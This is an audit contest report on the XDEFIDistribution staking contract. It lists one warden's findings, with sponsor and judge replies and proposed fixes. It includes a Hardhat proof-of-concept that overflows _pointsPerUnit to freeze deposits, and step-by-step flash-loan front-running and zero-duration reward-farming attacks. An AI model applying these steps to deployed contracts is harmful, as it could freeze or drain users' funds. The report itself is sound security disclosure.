Platform: Code4rena
Start Date: 04/01/2022
Pot Size: $25,000 USDC
Total HM: 3
Participants: 40
Period: 3 days
Judge: Ivo Georgiev
Total Solo HM: 1
Id: 75
League: ETH
Rank: 1/40
Findings: 4
Award: $10,032.52
🌟 Selected for report: 6
🚀 Solo Findings: 1
🌟 Selected for report: WatchPug
7813.5138 USDC - $7,813.51
WatchPug
_pointsPerUnit += ((newXDEFI * _pointsMultiplier) / totalUnitsCached);
In the current implementation, _pointsPerUnit can be changed in updateDistribution() which can be called by anyone.
A malicious early user can lock() with only 1 wei of XDEFI and makes _pointsPerUnit to be very large, causing future users not to be able to lock() and/or unlock() anymore due to overflow in arithmetic related to _pointsMultiplier.
As a result, the contract can be malfunctioning and even freeze users' funds in edge cases.
Given:
lock() 1 wei of XDEFI for 30 days as the first user of the contract. Got 1 units, and totalUnits now is 1;170141183460469 wei of XDEFI to the contract and calls updateDistribution():_pointsPerUnit += ((170141183460469 * 2**128) / 1);
lock() 1,100,000 * 1e18 of XDEFI for 30 days, the tx will fail, as _pointsPerUnit * units overlows;lock() 1,000,000 * 1e18 of XDEFI for 30 days;250,000 * 1e18 of XDEFI to the contract and calls updateDistribution():_pointsPerUnit += ((250_000 * 1e18 * 2**128) / (1_000_000 * 1e18 + 1));
unlock(), the tx will fail, as _pointsPerUnit * units overflows.Uniswap v2 solved a similar problem by sending the first 1000 lp tokens to the zero address.
The same solution should work here, i.e., on constructor set an initial amount (like 1e8) for totalUnits
constructor (address XDEFI_, string memory baseURI_, uint256 zeroDurationPointBase_) ERC721("Locked XDEFI", "lXDEFI") { require((XDEFI = XDEFI_) != address(0), "INVALID_TOKEN"); owner = msg.sender; baseURI = baseURI_; _zeroDurationPointBase = zeroDurationPointBase_; totalUnits = 100_000_000; }
#0 - deluca-mike
2022-01-09T08:48:34Z
This is a great catch! I just tested it:
const { expect } = require("chai"); const { ethers } = require("hardhat"); const totalSupply = '240000000000000000000000000'; const toWei = (value, add = 0, sub = 0) => (BigInt(value) * 1_000_000_000_000_000_000n + BigInt(add) - BigInt(sub)).toString(); describe("XDEFIDistribution", () => { it("Can overflow _pointsPerUnit", async () => { const [god, alice, bob] = await ethers.getSigners(); const XDEFI = await (await (await ethers.getContractFactory("XDEFI")).deploy("XDEFI", "XDEFI", totalSupply)).deployed(); const XDEFIDistribution = await (await (await ethers.getContractFactory("XDEFIDistribution")).deploy(XDEFI.address, "https://www.xdefi.io/nfts/", 0)).deployed(); // Give each account 2,000,000 XDEFI await (await XDEFI.transfer(alice.address, toWei(2_000_000))).wait(); await (await XDEFI.transfer(bob.address, toWei(2_000_000))).wait(); // bonusMultiplierOf[30 days] = 100 await (await XDEFIDistribution.setLockPeriods([2592000], [100])).wait(); // 1. Alice lock() 1 wei of XDEFI for 30 days as the first user of the contract. Got 1 units, and totalUnits now is 1; await (await XDEFI.connect(alice).approve(XDEFIDistribution.address, 1)).wait(); await (await XDEFIDistribution.connect(alice).lock(1, 2592000, alice.address)).wait(); expect(await XDEFIDistribution.balanceOf(alice.address)).to.equal('1'); const nft1 = (await XDEFIDistribution.tokenOfOwnerByIndex(alice.address, 0)).toString(); expect((await XDEFIDistribution.positionOf(nft1)).units).to.equal(1); // 2. Alice sends 170141183460469 wei of XDEFI to the contract and calls updateDistribution() await (await XDEFI.connect(alice).transfer(XDEFIDistribution.address, 170141183460469)).wait(); await (await XDEFIDistribution.connect(alice).updateDistribution()).wait(); // 3. Bob tries to lock() 1,100,000 * 1e18 of XDEFI for 30 days, the tx will fail, as _pointsPerUnit * units overflows await (await XDEFI.connect(bob).approve(XDEFIDistribution.address, toWei(1_100_000))).wait(); await expect(XDEFIDistribution.connect(bob).lock(toWei(1_100_000), 2592000, bob.address)).to.be.revertedWith("_toInt256Safe failed"); // 4. Bob lock() 1,000,000 * 1e18 of XDEFI for 30 days await (await XDEFI.connect(bob).approve(XDEFIDistribution.address, toWei(1_000_000))).wait(); await (await XDEFIDistribution.connect(bob).lock(toWei(1_000_000), 2592000, bob.address)).wait(); expect(await XDEFIDistribution.balanceOf(bob.address)).to.equal('1'); const nft2 = (await XDEFIDistribution.tokenOfOwnerByIndex(bob.address, 0)).toString(); expect((await XDEFIDistribution.positionOf(nft2)).units).to.equal(toWei(1_000_000)); // 5. The rewarder sends 250,000 * 1e18 of XDEFI to the contract and calls updateDistribution() await (await XDEFI.transfer(XDEFIDistribution.address, toWei(250_000))).wait(); await (await XDEFIDistribution.updateDistribution()).wait(); // 6. 30 days later, Bob tries to call unlock(), the tx will fail, as _pointsPerUnit * units overflows. await hre.ethers.provider.send('evm_increaseTime', [2592000]); await expect(XDEFIDistribution.connect(bob).unlock(nft2, bob.address)).to.be.revertedWith("_toInt256Safe failed"); }); });
While I do like the suggestion to to totalUnits = 100_000_000; in the constructor, it will result "uneven" numbers due to the totalUnits offset. I wonder if I can resolve this but just reducing _pointsMultiplier to uint256(2**96) as per https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728.
#1 - deluca-mike
2022-01-09T09:58:45Z
OK, I think I can solve this with _pointsMultiplier = uint256(2**72):
const { expect } = require("chai"); const { ethers } = require("hardhat"); const totalSupply = '240000000000000000000000000'; const toWei = (value, add = 0, sub = 0) => (BigInt(value) * 1_000_000_000_000_000_000n + BigInt(add) - BigInt(sub)).toString(); describe("XDEFIDistribution", () => { it("Can overflow _pointsPerUnit", async () => { const [god, alice, bob] = await ethers.getSigners(); const XDEFI = await (await (await ethers.getContractFactory("XDEFI")).deploy("XDEFI", "XDEFI", totalSupply)).deployed(); const XDEFIDistribution = await (await (await ethers.getContractFactory("XDEFIDistribution")).deploy(XDEFI.address, "https://www.xdefi.io/nfts/", 0)).deployed(); // Give each account 100M XDEFI await (await XDEFI.transfer(alice.address, toWei(100_000_000))).wait(); await (await XDEFI.transfer(bob.address, toWei(100_000_000))).wait(); // bonusMultiplierOf[30 days] = 255 await (await XDEFIDistribution.setLockPeriods([2592000], [255])).wait(); // 1. Alice lock() 1 wei of XDEFI for 30 days as the first user of the contract. Got 1 units, and totalUnits now is 1 await (await XDEFI.connect(alice).approve(XDEFIDistribution.address, 1)).wait(); await (await XDEFIDistribution.connect(alice).lock(1, 2592000, alice.address)).wait(); expect(await XDEFIDistribution.balanceOf(alice.address)).to.equal('1'); const nft1 = (await XDEFIDistribution.tokenOfOwnerByIndex(alice.address, 0)).toString(); expect((await XDEFIDistribution.positionOf(nft1)).units).to.equal(2); // 2. Alice sends 100M XDEFI minus 1 wei to the contract and calls updateDistribution() await (await XDEFI.connect(alice).transfer(XDEFIDistribution.address, toWei(100_000_000, 0, 1))).wait(); await (await XDEFIDistribution.connect(alice).updateDistribution()).wait(); // 3. Bob can lock() 100M XDEFI for 30 days await (await XDEFI.connect(bob).approve(XDEFIDistribution.address, toWei(100_000_000))).wait(); await (await XDEFIDistribution.connect(bob).lock(toWei(100_000_000), 2592000, bob.address)).wait(); expect(await XDEFIDistribution.balanceOf(bob.address)).to.equal('1'); const nft2 = (await XDEFIDistribution.tokenOfOwnerByIndex(bob.address, 0)).toString(); expect((await XDEFIDistribution.positionOf(nft2)).units).to.equal(toWei(255_000_000)); // 4. The rewarder sends 40M XDEFI to the contract and calls updateDistribution() await (await XDEFI.transfer(XDEFIDistribution.address, toWei(40_000_000))).wait(); await (await XDEFIDistribution.updateDistribution()).wait(); // 5. 30 days later, Bob can call unlock() await hre.ethers.provider.send('evm_increaseTime', [2592000]); await (await XDEFIDistribution.connect(bob).unlock(nft2, bob.address)).wait(); }); });
#2 - deluca-mike
2022-01-14T04:47:58Z
In the release candidate contract, in order to preserve the math (formulas), at the cost of some accuracy, we went with a _pointsMultiplier of 72 bits.
Also, a minimum units locked is enforced, to prevent "dust" from creating a very very high _pointsPerUnit.
Tests were written in order to stress test the contract against the above extreme cases.
Further, a "no-going-back" emergency mode setter was implemented that allows (but does not force) users to withdraw only their deposits without any of the funds distribution math from being expected, in the event that some an edge case does arise.
#3 - Ivshti
2022-01-16T00:33:03Z
fantastic finding, agreed with the proposed severity!
The sponsor fixes seem adequate: a lower _poinsMultiplier, a minimum lock and an emergency mode that disables reward math, somewhat similar to emergency withdraw functions in contracts like masterchef.
🌟 Selected for report: leastwood
Also found by: MaCree, WatchPug, cmichel, egjlmn1, kenzo, onewayfunction, sirhashalot
140.1442 USDC - $140.14
WatchPug
function _generateNewTokenId(uint256 points_) internal view returns (uint256 tokenId_) { // Points is capped at 128 bits (max supply of XDEFI for 10 years locked), total supply of NFTs is capped at 128 bits. return (points_ << uint256(128)) + uint128(totalSupply() + 1); }
New tokenId is generated based on points_ and totalSupply().
However, merge() will burn and decrease totalSupply(), making it possible for the newly generated tokenId to collide with existing tokenIds.
lock() 1 XDEFI for 7 days 3 times got 3 NFT:NFT 1: uint(604800<<(128)+0+1)
NFT 2: uint(604800<<(128)+1+1)
NFT 3: uint(604800<<(128)+2+1)
totalSupply is now 3
unlock() and merge() NFT 1 and NFT 2 into NFT 4:totalSupply is now 2lock() 1 XDEFI for 7 days:uint(604800<<(128)+2+1)Bob's tx will fail with the error "ERC721: token already minted" as the new tokenId collides with NFT 3 owned by Alice.
Consider adding a new storage variable _totalSupply that is monotonic increasing and use it to replace totalSupply() for tokenId generation.
#0 - deluca-mike
2022-01-09T05:02:41Z
Valid and duplicate of #17
30.2712 USDC - $30.27
WatchPug
The current implementation requires the rewarder (usually the platform) to transfer the rewards (XDEFI tokens) to the contract and calls updateDistribution() to increase _pointsPerUnit, which will distribute the newly added rewards to all existing users according to the uints.
However, since it also allows users to lock() and unlock() within the same transaction, it enables the attacker to frontrun the updateDistribution() transaction and take a large portion of the shares using flashloan to steal part of newly added rewards.
Given:
10M XDEFI tokens in total;1M XDEFI to XDEFIDistribution contract.Before the rewarder calls updateDistribution(), the attacker can do the following in one transaction:
lock() 10M XDEFI with 0 duration using flashloan;updateDistribution() to increase _pointsPerUnit;lock() to get back 10.5M XDEFI;0.5M XDEFI.Consider disallowing lock() and unlock() in the same block to eliminate locking using flashloans.
require(block.timestamp >= uint256(expiry), "CANNOT_UNLOCK");
Change to:
require(block.timestamp > uint256(expiry), "CANNOT_UNLOCK");
#0 - deluca-mike
2022-01-09T06:30:58Z
Technically valid, but this was expected, and we disagree with severity, as explained in the duplicate issue #30.
And specifically with this idea of front-running, that was also perfectly acceptable, and unavoidable. Just like dividends for an equity, if dividends are announced, anyone can jump into the stock before the "snapshot" (ex-dividend date) to claim rewards. Allowing a 0-duration lock (which is not enabled by default) is at XDEFI's discretion. Further, even if we disable 0-duration locks, people can still front-run a distribution. The idea is the XDEFI will enable durations that make sense. Obviously the lower the duration, the easier it is for people to front-run reward distributions without long commitments. This was expected, and frankly, obvious.
#1 - Ivshti
2022-01-16T00:26:23Z
agreed with sponsor, duplicate of 30
351.6081 USDC - $351.61
WatchPug
_zeroDurationPointBase can be set at deploy time so that locks with 0 duration can get scores.
However, if the value of _zeroDurationPointBase is being set high enough. It can potentially be exploited by repeatedly lock(), and unlock() with 0 duration to get scores.
This can get amplified with flashloans.
function _getPoints(uint256 amount_, uint256 duration_) internal view returns (uint256 points_) { return amount_ * (duration_ + _zeroDurationPointBase); }
Consider changing _zeroDurationPointBase to a constant of value 1.
#0 - deluca-mike
2022-01-08T03:51:24Z
I thought about it some more and I have to agree that if we did allow a 0 duration, this entire score system is unenforceable due to flash loans. So, because of that, I'm going to make the score function simply amount_ * duration_, and remove _zeroDurationPointBase from the contract. If we wanted "mimial" lock duration, we can simply do something small like 1 day, or even 1 second. And if we did allow 0 seconds, then it's only fair that "flash loaner" gets an NFT of 0 score.
#1 - deluca-mike
2022-01-14T04:09:52Z
In the release candidate contract, _zeroDurationPointBase has been removed, and it is no longer possible to lock for 0 duration, since enabling such a duration via setLockPeriods is prevented.
210.9649 USDC - $210.96
WatchPug
Contracts use assert() instead of require() in multiple places.
Per to Solidity’s documentation:
"Assert should only be used to test for internal errors, and to check invariants. Properly functioning code should never create a Panic, not even on invalid external input. If this happens, then there is a bug in your contract which you should fix. Language analysis tools can evaluate your contract to identify the conditions and function calls which will cause a Panic.”
function _toInt256Safe(uint256 x_) internal pure returns (int256 y_) { y_ = int256(x_); assert(y_ >= int256(0)); } function _toUint256Safe(int256 x_) internal pure returns (uint256 y_) { assert(x_ >= int256(0)); return uint256(x_); }
Change to require().
#0 - deluca-mike
2022-01-06T21:13:18Z
Good catch. Will be converting these to if-reverts with new custom error messages.
#1 - deluca-mike
2022-01-09T10:52:59Z
Duplicate #14
🌟 Selected for report: WatchPug
781.3514 USDC - $781.35
WatchPug
depositedXDEFI: uint88(amount_), expiry: uint32(block.timestamp + duration_), created: uint32(block.timestamp),
Downcasting from uint256/int256 in Solidity does not revert on overflow. This can easily result in undesired exploitation or bugs.
Consider using SafeCast library from OpenZeppelin.
https://docs.openzeppelin.com/contracts/4.x/api/utils#SafeCast
#0 - deluca-mike
2022-01-06T21:14:59Z
amount_ can never be larger than a uint88 since there are only 240M (18 decimals) XDEFI tokens.
block.timestamp will never be larger than a uint32 for 50 years.
There is no risk here. Perhaps informational as I can leave a comment.
#1 - deluca-mike
2022-01-14T05:03:09Z
Relevant comments were left in the release candidate contracts.
🌟 Selected for report: TomFrenchBlockchain
142.4013 USDC - $142.40
WatchPug
Unused named returns increase contract size and gas usage at deployment.
function _updateXDEFIBalance() internal returns (int256 newFundsTokenBalance_) { uint256 previousDistributableXDEFI = distributableXDEFI; uint256 currentDistributableXDEFI = distributableXDEFI = IERC20(XDEFI).balanceOf(address(this)) - totalDepositedXDEFI; return _toInt256Safe(currentDistributableXDEFI) - _toInt256Safe(previousDistributableXDEFI); }
newFundsTokenBalance_ is redundant as is never used.
Other examples include:
function _withdrawableGiven(uint96 units_, uint88 depositedXDEFI_, int256 pointsCorrection_) internal view returns (uint256 withdrawableXDEFI_) { return ( _toUint256Safe( _toInt256Safe(_pointsPerUnit * uint256(units_)) + pointsCorrection_ ) / _pointsMultiplier ) + uint256(depositedXDEFI_); }
function withdrawableOf(uint256 tokenId_) public view returns (uint256 withdrawableXDEFI_) { Position storage position = positionOf[tokenId_]; return _withdrawableGiven(position.units, position.depositedXDEFI, position.pointsCorrection); }
function _toUint256Safe(int256 x_) internal pure returns (uint256 y_) { assert(x_ >= int256(0)); return uint256(x_); }
#0 - deluca-mike
2022-01-06T21:12:48Z
Yup, good point. We will go with the option to assign return variables in order to keep the function prototype pattern/style consistent. However, this is not a gas optimization, but rather just informational.
#1 - deluca-mike
2022-01-09T10:53:23Z
Duplicate #2
13.1525 USDC - $13.15
WatchPug
For the arithmetic operations that will never over/underflow, using the unchecked directive (Solidity v0.8 has default overflow/underflow checks) can save some gas from the unnecessary internal over/underflow checks.
For example:
function relock(uint256 tokenId_, uint256 lockAmount_, uint256 duration_, address destination_) external noReenter returns (uint256 amountUnlocked_, uint256 newTokenId_) { // Handle the unlock and get the amount of XDEFI eligible to withdraw. amountUnlocked_ = _unlock(msg.sender, tokenId_); // Throw convenient error if trying to re-lock more than was unlocked. `amountUnlocked_ - lockAmount_` would have reverted below anyway. require(lockAmount_ <= amountUnlocked_, "INSUFFICIENT_AMOUNT_UNLOCKED"); // Handle the lock position creation and get the tokenId of the locked position. newTokenId_ = _lock(lockAmount_, duration_, destination_); uint256 withdrawAmount = amountUnlocked_ - lockAmount_;
amountUnlocked_ - lockAmount_ can be unchecked as L115 ensured lockAmount_ <= amountUnlocked_ so that it will never underflow.
Change to:
unchecked { uint256 withdrawAmount = amountUnlocked_ - lockAmount_; }
#0 - deluca-mike
2022-01-08T21:02:39Z
Agreed. We originally abstained from unchecked math, for cleaner code, but we will now use unchecked wherever possible.
#1 - deluca-mike
2022-01-09T10:47:51Z
Duplicate #49
7.6096 USDC - $7.61
WatchPug
modifier noReenter() { require(_locked == 0, "LOCKED"); _locked = uint256(1); _; _locked = uint256(0); }
SSTORE from 0 to 1 (or any non-zero value), the cost is 20000;SSTORE from 1 to 2 (or any other non-zero value), the cost is 5000.By storing the original value once again, a refund is triggered (https://eips.ethereum.org/EIPS/eip-2200).
Since refunds are capped to a percentage of the total transaction's gas, it is best to keep them low, to increase the likelihood of the full refund coming into effect.
Therefore, switching between 1, 2 instead of 0, 1 will be more gas efficient.
#0 - deluca-mike
2022-01-08T22:23:30Z
Agreed. Will do.
#1 - deluca-mike
2022-01-09T10:43:21Z
Duplicate #1
🌟 Selected for report: agusduha
Also found by: 0xsanson, Czar102, Dravee, GiveMeTestEther, WatchPug, p4st13r4, saian, sirhashalot
4.7941 USDC - $4.79
WatchPug
uint88 internal MAX_TOTAL_XDEFI_SUPPLY = uint88(240_000_000_000_000_000_000_000_000);
Considering that MAX_TOTAL_XDEFI_SUPPLY will never change, changing it to constant variable instead of storage variable can save gas.
#0 - deluca-mike
2022-01-08T21:03:06Z
Agreed. It should have been constant. In any case, due to other recommendations, MAX_TOTAL_XDEFI_SUPPLY is being removed entirely now.
#1 - deluca-mike
2022-01-09T10:47:23Z
Duplicate #36
45.1044 USDC - $45.10
WatchPug
function _updateXDEFIBalance() internal returns (int256 newFundsTokenBalance_) { uint256 previousDistributableXDEFI = distributableXDEFI; uint256 currentDistributableXDEFI = distributableXDEFI = IERC20(XDEFI).balanceOf(address(this)) - totalDepositedXDEFI; return _toInt256Safe(currentDistributableXDEFI) - _toInt256Safe(previousDistributableXDEFI); }
The local variable currentDistributableXDEFI is used only once. Making the expression inline can save gas.
Change to:
function _updateXDEFIBalance() internal returns (int256 newFundsTokenBalance_) { uint256 previousDistributableXDEFI = distributableXDEFI; return _toInt256Safe( distributableXDEFI = IERC20(XDEFI).balanceOf(address(this)) - totalDepositedXDEFI ) - _toInt256Safe(previousDistributableXDEFI); }
#0 - deluca-mike
2022-01-06T20:04:39Z
While valid, we would have done this if it weren't for the fact that now the function needs to be, given the introduction of unchecked and a xdefiBalance - totalDepositedXDEFI failsafe.:
function _updateDistributableXDEFI() internal returns (int256 changeInDistributableXDEFI_) { uint256 xdefiBalance = IERC20(xdefi).balanceOf(address(this)); uint256 previousDistributableXDEFI = distributableXDEFI; unchecked { uint256 currentDistributableXDEFI = xdefiBalance > totalDepositedXDEFI ? xdefiBalance - totalDepositedXDEFI : uint256(0); if (currentDistributableXDEFI == previousDistributableXDEFI) return int256(0); // NOTE: Max XDEFI is 240M (with 18 decimals), so this can never over or underflow. changeInDistributableXDEFI_ = _toInt256Safe(distributableXDEFI = currentDistributableXDEFI) - _toInt256Safe(previousDistributableXDEFI); } }
#1 - deluca-mike
2022-01-09T10:55:54Z
Duplicate #120
45.1044 USDC - $45.10
WatchPug
_pointsMultiplier multiplication and division can be replaced with shift operators to save gas.
The gas cost of << and >> is 3 while * and / costs 5.
uint256 internal constant _pointsMultiplier = uint256(2**128);
_pointsPerUnit += ((newXDEFI * _pointsMultiplier) / totalUnitsCached);
function _withdrawableGiven(uint96 units_, uint88 depositedXDEFI_, int256 pointsCorrection_) internal view returns (uint256 withdrawableXDEFI_) { return ( _toUint256Safe( _toInt256Safe(_pointsPerUnit * uint256(units_)) + pointsCorrection_ ) / _pointsMultiplier ) + uint256(depositedXDEFI_); }
Change to:
_pointsPerUnit += ((newXDEFI << 128) / totalUnitsCached);
function _withdrawableGiven(uint96 units_, uint88 depositedXDEFI_, int256 pointsCorrection_) internal view returns (uint256 withdrawableXDEFI_) { return ( _toUint256Safe( _toInt256Safe(_pointsPerUnit * uint256(units_)) + pointsCorrection_ ) >> 128 ) + uint256(depositedXDEFI_); }
#0 - deluca-mike
2022-01-06T16:49:50Z
Oh, I like this! Will do! Also, in checked and unchecked math, division by zero is always checked, so shifting does away with that too. More gas savings from this than you think!
#1 - deluca-mike
2022-01-09T10:53:39Z
Duplicate #122
18.2673 USDC - $18.27
WatchPug
There is no risk of overflow caused by increamenting the iteration index in for loops (the ++i in for for (uint256 i; i < count; ++i)).
Increments perform overflow checks that are not necessary in this case.
Surround the increment expressions with an unchecked { ... } block to avoid the default overflow checks. For example, change the for loop:
for (uint256 i; i < count; ++i) { uint256 duration = durations_[i]; require(duration <= uint256(18250 days), "INVALID_DURATION"); emit LockPeriodSet(duration, bonusMultiplierOf[duration] = multipliers[i]); }
to:
for (uint256 i; i < count;) { uint256 duration = durations_[i]; require(duration <= uint256(18250 days), "INVALID_DURATION"); emit LockPeriodSet(duration, bonusMultiplierOf[duration] = multipliers[i]); unchecked { ++i; } }
#0 - deluca-mike
2022-01-08T22:22:43Z
Agreed. We originally abstained from unchecked math, for cleaner code, but we will now use unchecked wherever possible.
#1 - deluca-mike
2022-01-09T10:43:52Z
Duplicate #9
🌟 Selected for report: TomFrenchBlockchain
Also found by: WatchPug
45.1044 USDC - $45.10
WatchPug
As both _pointsPerUnit and units are uint numbers, pointsCorrection can be changed to uint.
Position({ units: units, depositedXDEFI: uint88(amount_), expiry: uint32(block.timestamp + duration_), created: uint32(block.timestamp), bonusMultiplier: bonusMultiplier, pointsCorrection: -_toInt256Safe(_pointsPerUnit * units) });
function _withdrawableGiven(uint96 units_, uint88 depositedXDEFI_, int256 pointsCorrection_) internal view returns (uint256 withdrawableXDEFI_) { return ( _toUint256Safe( _toInt256Safe(_pointsPerUnit * uint256(units_)) + pointsCorrection_ ) / _pointsMultiplier ) + uint256(depositedXDEFI_); }
Change to:
Position({ units: units, depositedXDEFI: uint88(amount_), expiry: uint32(block.timestamp + duration_), created: uint32(block.timestamp), bonusMultiplier: bonusMultiplier, pointsCorrection: _pointsPerUnit * units });
function _withdrawableGiven(uint96 units_, uint88 depositedXDEFI_, int256 pointsCorrection_) internal view returns (uint256 withdrawableXDEFI_) { return ( _toUint256Safe( _toInt256Safe(_pointsPerUnit * uint256(units_)) - pointsCorrection_ ) / _pointsMultiplier ) + uint256(depositedXDEFI_); }
This change can save gas by avoiding unnecessary arithmetic and typecasting.
#0 - deluca-mike
2022-01-06T20:50:19Z
Yes, these are valid points. There is a bit of analysis I have to do to ensure that I can reduce the signed math to unsigned math, but it should be possible.
#1 - deluca-mike
2022-01-09T10:54:46Z
Duplicate #87
🌟 Selected for report: WatchPug
100.2321 USDC - $100.23
WatchPug
In the current implementation, when _unlockBatch() is called with tokenIds_.length == 1, the transaction will be reverted with an error USE_UNLOCK.
Even though it's sub-optimal to use relockBatch() and unlockBatch() for only 1 tokenId, reverting and requiring the user to resend the transaction to another method still costs more gas than allowing it.
Therefore, we sugguest not to revert in _unlockBatch() when tokenIds_.length == 1.
function _unlockBatch(address account_, uint256[] memory tokenIds_) internal returns (uint256 amountUnlocked_) { uint256 count = tokenIds_.length; require(count > uint256(1), "USE_UNLOCK"); // Handle the unlock for each position and accumulate the unlocked amount. for (uint256 i; i < count; ++i) { amountUnlocked_ += _unlock(account_, tokenIds_[i]); } }
Change to:
function _unlockBatch(address account_, uint256[] memory tokenIds_) internal returns (uint256 amountUnlocked_) { uint256 count = tokenIds_.length; require(count > 0, "NO_TOKEN_IDS"); // Handle the unlock for each position and accumulate the unlocked amount. for (uint256 i; i < count; ++i) { amountUnlocked_ += _unlock(account_, tokenIds_[i]); } }
#0 - deluca-mike
2022-01-08T22:03:57Z
Good point. I agree. Will do!
#1 - deluca-mike
2022-01-14T03:57:18Z
Fixed in _unlockBatch in release candidate contract.
#2 - Ivshti
2022-01-16T06:22:01Z
resolved, valid finding
45.1044 USDC - $45.10
WatchPug
Unused storage variables in contracts use up storage slots and increase contract size and gas usage at deployment and initialization.
Instances include:
uint96 units = uint96((amount_ * uint256(bonusMultiplier)) / uint256(100)); totalUnits += units; positionOf[tokenId_] = Position({ units: units, depositedXDEFI: uint88(amount_), expiry: uint32(block.timestamp + duration_), created: uint32(block.timestamp), bonusMultiplier: bonusMultiplier, pointsCorrection: -_toInt256Safe(_pointsPerUnit * units) });
bonusMultiplier is not used in the contract, and it can be computed based on units and depositedXDEFI.
#0 - deluca-mike
2022-01-06T21:10:50Z
We did this so that a client can be easily aware of what a position's bonus multiplier is. Yes, the client can and should check for events, or at least watch for the event on locking and then save it locally (cache), but since we had some free bytes in the struct, we decided there wasn't much harm adding it.
However, you raise a great point that bonusMultiplier can be computed from depositedXDEFI and units via: bonusMultiplier = (units * 100) / depositedXDEFI, so we will remove it from the struct.
#1 - deluca-mike
2022-01-09T10:54:25Z
Duplicate #101
🌟 Selected for report: WatchPug
100.2321 USDC - $100.23
WatchPug
uint256 withdrawAmount = amountUnlocked_ - lockAmount_; if (withdrawAmount != uint256(0)) { // Send the excess XDEFI to the destination, if needed. SafeERC20.safeTransfer(IERC20(XDEFI), destination_, withdrawAmount); }
uint256 withdrawAmount = amountUnlocked_ - lockAmount_; if (withdrawAmount != uint256(0)) { // Send the excess XDEFI to the destination, if needed. SafeERC20.safeTransfer(IERC20(XDEFI), destination_, withdrawAmount); }
Change to:
if (amountUnlocked_ > lockAmount_) { SafeERC20.safeTransfer(IERC20(XDEFI), destination_, amountUnlocked_ - lockAmount_); }
withdrawAmount;amountUnlocked_ - lockAmount_.#0 - deluca-mike
2022-01-08T21:39:31Z
Yup, this is good. I tested it and it saves deploy and runtime gas even when using all unchecked math.
amountUnlocked_ = _destroyLockedPosition(msg.sender, tokenId_); if (lockAmount_ > amountUnlocked_) revert InsufficientAmountUnlocked(); newTokenId_ = _createLockedPosition(lockAmount_, duration_, bonusMultiplier_, destination_); unchecked { if (amountUnlocked_ - lockAmount_ != uint256(0)) { IERC20(xdefi).transfer(destination_, amountUnlocked_ - lockAmount_); } } _updateDistributableXDEFI();
#2 - Ivshti
2022-01-16T06:21:58Z
resolved, valid finding
🌟 Selected for report: WatchPug
100.2321 USDC - $100.23
WatchPug
Storage writes (SSTORE) to distributableXDEFI may not be needed when previousDistributableXDEFI == currentDistributableXDEFI, therefore the code can be reorganized to save gas from unnecessary storage writes.
function _updateXDEFIBalance() internal returns (int256 newFundsTokenBalance_) { uint256 previousDistributableXDEFI = distributableXDEFI; uint256 currentDistributableXDEFI = distributableXDEFI = IERC20(XDEFI).balanceOf(address(this)) - totalDepositedXDEFI; return _toInt256Safe(currentDistributableXDEFI) - _toInt256Safe(previousDistributableXDEFI); }
Change to:
function _updateXDEFIBalance() internal returns (int256 newFundsTokenBalance_) { uint256 previousDistributableXDEFI = distributableXDEFI; uint256 currentDistributableXDEFI = IERC20(XDEFI).balanceOf(address(this)) - totalDepositedXDEFI; newFundsTokenBalance_ = _toInt256Safe(currentDistributableXDEFI) - _toInt256Safe(previousDistributableXDEFI); if (newFundsTokenBalance_ != 0) { distributableXDEFI = currentDistributableXDEFI; } }
#0 - deluca-mike
2022-01-06T20:36:10Z
Agreed. This is being changed to:
function _updateDistributableXDEFI() internal returns (int256 changeInDistributableXDEFI_) { uint256 xdefiBalance = IERC20(xdefi).balanceOf(address(this)); uint256 previousDistributableXDEFI = distributableXDEFI; unchecked { uint256 currentDistributableXDEFI = xdefiBalance > totalDepositedXDEFI ? xdefiBalance - totalDepositedXDEFI : uint256(0); if (currentDistributableXDEFI == previousDistributableXDEFI) return int256(0); // NOTE: Max XDEFI is 240M (with 18 decimals), so this can never over or underflow. changeInDistributableXDEFI_ = _toInt256Safe(distributableXDEFI = currentDistributableXDEFI) - _toInt256Safe(previousDistributableXDEFI); } }
#1 - deluca-mike
2022-01-14T04:11:34Z
In release candidate contract, _updateXDEFIBalance has been more aptly renamed to _updateDistributableXDEFI, where distributableXDEFI is not written if currentDistributableXDEFI == previousDistributableXDEFI.
#2 - Ivshti
2022-01-16T06:26:41Z
seems to be resolved, valid finding
37.3718 USDC - $37.37
WatchPug
function setLockPeriods(uint256[] memory durations_, uint8[] memory multipliers) external onlyOwner { uint256 count = durations_.length; for (uint256 i; i < count; ++i) { uint256 duration = durations_[i]; require(duration <= uint256(18250 days), "INVALID_DURATION"); emit LockPeriodSet(duration, bonusMultiplierOf[duration] = multipliers[i]); } }
If the array length of durations_ is larger than the length of multipliers, when accessing multipliers[i] it will throw an out-of-range exception.
Check if durations_.length != multipliers.length earlier can avoid unnecessary code execution when this check failed.
Consider adding checks for input validation of arrays.
For example:
function setLockPeriods(uint256[] memory durations_, uint8[] memory multipliers) external onlyOwner { require(durations_.length == multipliers.length, "INVALID_ARRAYS"); uint256 count = durations_.length; for (uint256 i; i < count; ++i) { uint256 duration = durations_[i]; require(duration <= uint256(18250 days), "INVALID_DURATION"); emit LockPeriodSet(duration, bonusMultiplierOf[duration] = multipliers[i]); } }
#0 - deluca-mike
2022-01-08T21:02:09Z
If there are more multipliers than durations, then the extra multipliers are ignored. If there are more durations than multipliers, then the function will revert anyway. Further, if the admin did make a mistake, they can just call the function again. Wallets will already usually prevent users from singing/broadcasting transactions that will revert.
#1 - deluca-mike
2022-01-09T10:48:07Z
Duplicate #38